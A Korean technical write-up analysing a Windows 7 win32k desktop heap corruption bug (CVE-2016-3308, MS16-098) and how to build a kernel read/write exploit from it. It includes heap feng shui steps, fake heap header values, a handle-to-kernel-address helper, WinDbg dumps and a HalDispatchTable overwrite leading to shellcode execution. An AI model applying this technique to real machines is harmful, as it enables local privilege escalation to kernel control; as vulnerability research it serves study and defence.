
CVE-2016-3308로 win32k 데스크톱 힙 손상
저자 : @55-AA, 2016년 9월 18일
데스크톱 힙은 win32k가 사용하는 커널 풀로, 사용자 모드 애플리케이션에 의해 악용될 수 있습니다. 여기에서는 커널에서 임의 주소를 읽고 쓰기 위한 안정적인 익스플로잇을 구현하는 방법을 자세히 설명합니다. 이 분석 글과 관련 분석은 win7_sp1_x86(빌드 17842) 설치 환경에서 수행되었습니다.
2016년 8월 9일, Microsoft는 MS16-098을 공개했습니다. 취약점 코드는 win32k!xxxInsertMenuItem 함수에 존재하며, 함수 프로토타입은 다음과 같습니다:
BOOL xxxInsertMenuItem(
PMENU pMenu,
UINT wIndex,
BOOL fByPosition,
LPMENUITEMINFOW lpmii,
PUNICODE_STRING pstrItem
);
먼저 xxxInsertMenuItem의 의사 버그 코드를 살펴보겠습니다:
if (pMenu->cItems >= pMenu->cAlloced) {
if (pMenu->rgItems) {
pNewItems = (PITEM)DesktopAlloc(
pMenu->head.rpdesk,
(pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM),
DTAG_MENUITEM);
......
pMenu->cAlloced += CMENUITEMALLOC;
pMenu->rgItems = pNewItems;
if (wIndex != MFMWFP_NOITEM)
pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);
......
pMenu->cItems++;
if (pItem != NULL) {
RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) *
sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
} else {
위 코드에서 9번째(1번째부터 세어) 항목이 pMenu에 추가될 때 DesktopAlloc()이 호출되어 새로운 pMenu->rgItems를 재할당했습니다. 그런 다음 MNLookUpItem()이 호출되어 pMenu->rgItems에서 항목의 위치를 가져옵니다. 그러나 MNLookUpItem()이 반환하는 pItem은 pMenu가 아닌 다른 pSubMenu의 rgItems입니다. 따라서 RtlMoveMemory()가 호출될 때 잘못된 이동 크기로 인해 pSubMenu의 pItem과 그 이후 바이트들이 덮어써졌습니다.
다음은 힙 덮어쓰기를 유발하는 버그에 대한 디스어셈블리 코드로, 가짜 청크를 만드는 데 활용될 수 있습니다:
0: kd> u win32k!xxxInsertMenuItem+0x1f5 l8
win32k!xxxInsertMenuItem+0x1f5:
95d295af 6bc06c imul eax,eax,6Ch
95d295b2 2bc3 sub eax,ebx
95d295b4 034634 add eax,dword ptr [esi+34h]
95d295b7 50 push eax
95d295b8 8d436c lea eax,[ebx+6Ch]
95d295bb 53 push ebx
95d295bc 50 push eax
95d295bd e85ea40100 call win32k!memmove (95d43a20)
버그를 추적하기 위해 WinDbg에서 다음 중단점을 사용합니다:
ba e1 win32k!xxxInsertMenuItem
ba e1 win32k!xxxInsertMenuItem+0xf3
95d294e3 e843e70200 call win32k!DesktopAlloc (836d7bf5)
ba e1 win32k!xxxInsertMenuItem+0x129
95d294e3 e80de70200 call win32k!DesktopAlloc (836d7bf5)
ba e1 win32k!xxxInsertMenuItem+0x1f5
95d295af 6bc06c imul eax,eax,6Ch
버그를 유발하려면 다음 단계를 수행해야 합니다:
데스크톱 힙은 모든 GUI 프로세스에서 사용하는 전역 풀입니다. Window, Menu와 같은 모든 GUI 객체는 데스크톱 힙에 저장되며 커널 힙 할당자에 의해 관리됩니다. 커널 힙 할당자는 RtlAllocateHeap, RtlFreeHeap과 같은 익숙한 함수를 사용합니다. 사용자 모드 힙과 달리 데스크톱 힙은 프론트엔드 할당자(front-end allocator)를 사용하지 않으므로 Low Fragmentation Heap, Lookaside 리스트 등이 없습니다. 또한 Windows 8 이상까지는 Heap Encoding도 없습니다. 다음은 win7_sp1_x86에서의 chunk 구조입니다:
typedef struct _HEAP_ENTRY {
USHORT Size;
UCHAR Flags;
UCHAR SegmentIndex;
USHORT PreviousSize;
UCHAR SegmentOffset;
UCHAR UnusedBytes;
} HEAP_ENTRY, *PHEAP_ENTRY;
Size와 PreviousSize 필드는 HEAP_GRANULARITY_SHIFT(32비트 시스템에서 3으로 정의됨) 비트만큼 오른쪽으로 시프트한 청크 크기를 나타냅니다. Size 필드는 현재 청크를, PreviousSize는 앞쪽 청크를 나타냅니다. Flags의 최하위 비트는 일반적으로 HEAP_ENTRY_BUSY(0x01)로 설정되어 청크가 사용 중임을 나타내며, 그렇지 않으면 0x00입니다.
다음 그림은 이러한 필드와 청크 블록 간의 관계를 보여줍니다. 두 번째 녹색 밑줄 WORD(0x000f)는 현재 청크 크기가 0x78바이트임을 나타내고, 두 번째 검은색 밑줄 WORD(0x0003)는 앞쪽 청크 크기가 0x18바이트임을 나타내며, 빨간색 밑줄 WORD(0x0001)는 현재 청크가 사용 중임을 나타냅니다. 여기서 청크 크기에는 헤더 크기가 포함되며, 헤더는 위의 HEAP_ENTRY 구조로 정의됩니다.

이는 힙 손상에서 가장 중요한 특징으로, 힙 할당자는 항상 최근에 해제된 청크를 가져옵니다. 이는 우리가 원하는 크기의 청크를 원하는 특정 위치에 실제로 할당할 수 있음을 의미합니다.
버그를 활용하여 데스크톱 힙의 일부 바이트를 덮어써서 정상 청크를 대체하는 가짜 청크를 만들 수 있습니다. 그런 다음 대체된 청크를 해제하여 가짜 청크가 해제된 청크 목록의 맨 위로 밀려나게 합니다. 이후 가짜 청크가 재사용되면 그 안에 임의의 바이트를 쓸 수 있습니다. 쓸 수 있는 영역은 여러 정상 청크와 겹치지만 커널 전체를 덮을 수는 없습니다. 따라서 겹치는 영역에 tagWND.strName을 이용해 임의 주소를 쓰는 또 다른 읽기/쓰기 프리미티브를 구축해야 합니다. strName.Buffer의 포인터는 커널랜드와 사용자랜드를 포함한 어디든 가리킬 수 있습니다. 물론 우리의 목표는 오직 nt!HalDispatchTable뿐입니다.
다음 그림은 힙 변경 절차를 보여줍니다:

위에서 보여준 것처럼 데스크톱 힙을 단계적으로 손상시키고 다음 단계로 익스플로잇을 구현합니다:
위 목록에서 힙 펭슈이 구축을 위한 핵심 단계는 다음과 같습니다:
7단계에서는 WND_1 텍스트에 가짜 힙 헤더를 만들어 향후 청크 상태를 지정합니다. 위 그림의 파란색 섹션처럼 빨간색 섹션을 덮어씁니다. 'Corrupt HDR'에서 'red HDR'까지의 거리는 0x6c이며, 이는 ITEM 하나의 크기입니다. 매개변수는 다음과 같습니다:
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x8e8 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;
12단계에서는 WND_3 텍스트에 다음 가짜 힙 헤더를 만들어 힙 할당자가 이 가짜 청크들이 정상적으로 연결되어 있다고 믿게 합니다.
15단계에서는 버그가 유발됩니다. 9번째 ITEM이 추가되면서 ITEM 목록이 재할당되고 WND_0 텍스트에서 해제된 청크를 재사용합니다. 따라서 'SubMenuITEMs HDR'에서 'MenuITEMs HDR'까지의 거리는 (0x6c8+0x78+0x78)바이트이며, 이 영역의 데이터는 자기 자신에 의해 덮어써집니다. 이 단계에서 WND_1, WND_2 및 MenuITEMs의 청크 헤더가 손상됩니다. 프로세스를 정상적으로 종료하기 위해 일부 데이터를 저장하여 20단계에서 복원할 수 있게 합니다.
13단계에서는 데이터가 손상되기 전에 일부 데이터를 저장합니다. 하지만 사용자 모드에 있으므로 커널 영역의 데이터를 읽을 수 없습니다. 다행히 사용자 영역에 매핑된 섹션이 있으며, 이는 데스크톱 힙의 이미지입니다. 읽기 전용이지만 목적에는 충분합니다. 사용자 영역에서 이미지 섹션 주소를 얻으려면 Win32ClientInfo를 사용할 수 있습니다. 이는 TEB에 있는 문서화되지 않은 구조입니다. 살펴보겠습니다:
typedef struct _CLIENTINFO {
ULONG_PTR CI_flags;
ULONG_PTR cSpins;
DWORD dwExpWinVer;
DWORD dwCompatFlags;
DWORD dwCompatFlags2;
DWORD dwTIFlags;
PDESKTOPINFO pDeskInfo;
ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;
typedef struct _DESKTOPINFO {
PVOID pvDesktopBase;
PVOID pvDesktopLimit;
} DESKTOPINFO, *PDESKTOPINFO;
우리가 관심 있는 필드는 pvDesktopBase와 ulClientDelta입니다. pvDesktopBase는 데스크톱 힙의 커널 주소를 가리키고, ulClientDelta는 사용자 영역 이미지와 커널 주소 사이의 오프셋을 지정하는 델타 값입니다.
또한 HANDLE에서 커널 주소로의 매핑 관계가 필요합니다. gSharedInfo라는 전역 변수가 있는데, 이는 win7 이상에서 user32.dll에 의해 내보내집니다. 다음과 같이 정의됩니다:
typedef struct _SHAREDINFO{
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelta;
ULONG_PTR awmControl[31];
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO,*PSHAREDINFO;
따라서 다음 함수를 사용하여 핸들에서 커널 주소를 얻을 수 있습니다:
PVOID GetMappedHandlePtr(HANDLE MyHandle, PVOID * UserlandPtr)
{
HANDLEENTRY * UserHandleTable = g_pSharedInfo->aheList;
ULONG cEntries = g_pSharedInfo->psi->cHandleEntries;
ULONG dwIndex = (ULONG)MyHandle & 0xFFFF;
ULONG dwUniq = (ULONG)MyHandle >> 16;
if(dwIndex <= cEntries) {
if (dwUniq == UserHandleTable[dwIndex].wUniq) {
*UserlandPtr = (PVOID)(
(ULONG_PTR)UserHandleTable[dwIndex].phead - g_DeltaDesktopHeap);
return (PVOID)UserHandleTable[dwIndex].phead;
}
}
return NULL;
}
17단계, 18단계, 20단계에서는 커널 영역에 일부 바이트를 쓰기 위해 Window 텍스트를 활용합니다. 이 텍스트는 데스크톱 힙에 할당되고 window 객체와 연결된 LARGE_UNICODE_STRING입니다. win7_sp1_x86의 tagWND 구조에서 오프셋 0x84에서 찾을 수 있으며, 오프셋 0x8c가 읽기/쓰기를 제어할 수 있는 포인터입니다. 사용자 영역에서 NtUserDefSetText()를 호출하여 window의 텍스트를 설정할 수 있으며, 텍스트 내용은 우리가 원하는 커널 주소에 쓰여집니다.
19단계에서는 마지막 목표인 셸코드를 트리거합니다. 사용자 영역에서 NtQueryIntervalProfile()을 호출하면 원래 hal!HaliQuerySystemInformation이 호출되지만, 18단계에서 nt!HalDispatchTable의 함수 포인터가 우리의 함수로 교체되었습니다. 참고로 NtQueryIntervalProfile의 첫 번째 매개변수가 1로 설정되면, 오프셋 84115505의 다음 코드 때문에 단락(short-circuit)이 발생합니다:
nt!KeQueryIntervalProfile:
841154fd 8bff mov edi,edi
841154ff 55 push ebp
84115500 8bec mov ebp,esp
84115502 83ec10 sub esp,10h
84115505 83f801 cmp eax,1
84115508 7507 jne nt!KeQueryIntervalProfile+0x14 (84115511)
8411550a a108f7fa83 mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83faf708)]
8411550f c9 leave
84115510 c3 ret
그 외의 값이라면 정상적으로 실행됩니다.
전체 손상 과정을 편리하게 추적하기 위해 콘솔에 몇 가지 핵심 값을 출력합니다.

출력 내용을 통해 WinDbg로 손상된 데스크톱 힙 레이아웃을 살펴볼 수 있습니다.
다음은 7단계와 8단계의 WND_1_Text와 WND_2_Text입니다:
1: kd> db fea2d7a8-8 l78*2
fea2d7a0 0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00 ................
fea2d7b0 e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d800 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d810 00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08 ................
fea2d820 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d830 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d840 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d850 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d860 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d870 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d880 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
다음은 15단계에서 익스플로잇된 후의 상태입니다:
0: kd> db fea2d7a8-8 l78*2
fea2d7a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d800 00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00 ................
fea2d810 d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08 ................
fea2d820 f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00 .6..............
fea2d830 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d840 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d850 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d860 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d870 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d880 00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00 ................
다음은 완성된 가짜 청크입니다:
0: kd> db fea2d820-8
fea2d818 1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe .........6......
fea2d828 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d838 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d848 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d858 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d868 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d878 00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00 ................
fea2d888 0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00 ................
다음은 두 번째 완성된 가짜 청크입니다:
0: kd> db fea2d820-8 + 11d*8
fea2e100 02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00 ................
fea2e110 0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1 ........8&......
fea2e120 00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00 [email protected].........
fea2e130 00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe ................
fea2e140 00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95 .........@......
fea2e150 00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00 ................
fea2e160 e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe .>..............
fea2e170 00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09 ................
PrimitiveWnd tagWND.strName
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4 02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00 .........S......
fea2dff4 60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00 `...............
fea2e004 00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00 ................
fea2e014 17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01 ..............~.
fea2e024 18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00 ................
fea2e034 03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe [email protected]...
fea2e044 18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04 ...`............
fea2e054 00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe ........`...(...
CorruptWnd tagWND.strName
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4 de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00 ........ .......
fea2e0c4 30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00 0...............
fea2e0d4 00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00 ................
fea2e0e4 17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01 ..............~.
fea2e0f4 18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00 ................
fea2e104 1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00 ................
fea2e114 03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00 ....8&..........
fea2e124 40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00 @.G.............
교체된 셸코드 포인터:
0: kd> dds nt!HalDispatchTable
83f753f8 00000004
83f753fc 013711c0
83f75400 83e3c1b4 hal!HalpSetSystemInformation
83f75404 840fe71f nt!xHalQueryBusSlots
83f75408 00000000
0: kd> u 013711c0
013711c0 a188fa3701 mov eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701 mov ecx,dword ptr ds:[137FA80h]
013711cb 894804 mov dword ptr [eax+4],ecx
013711ce 33c0 xor eax,eax
013711d0 c21000 ret 10h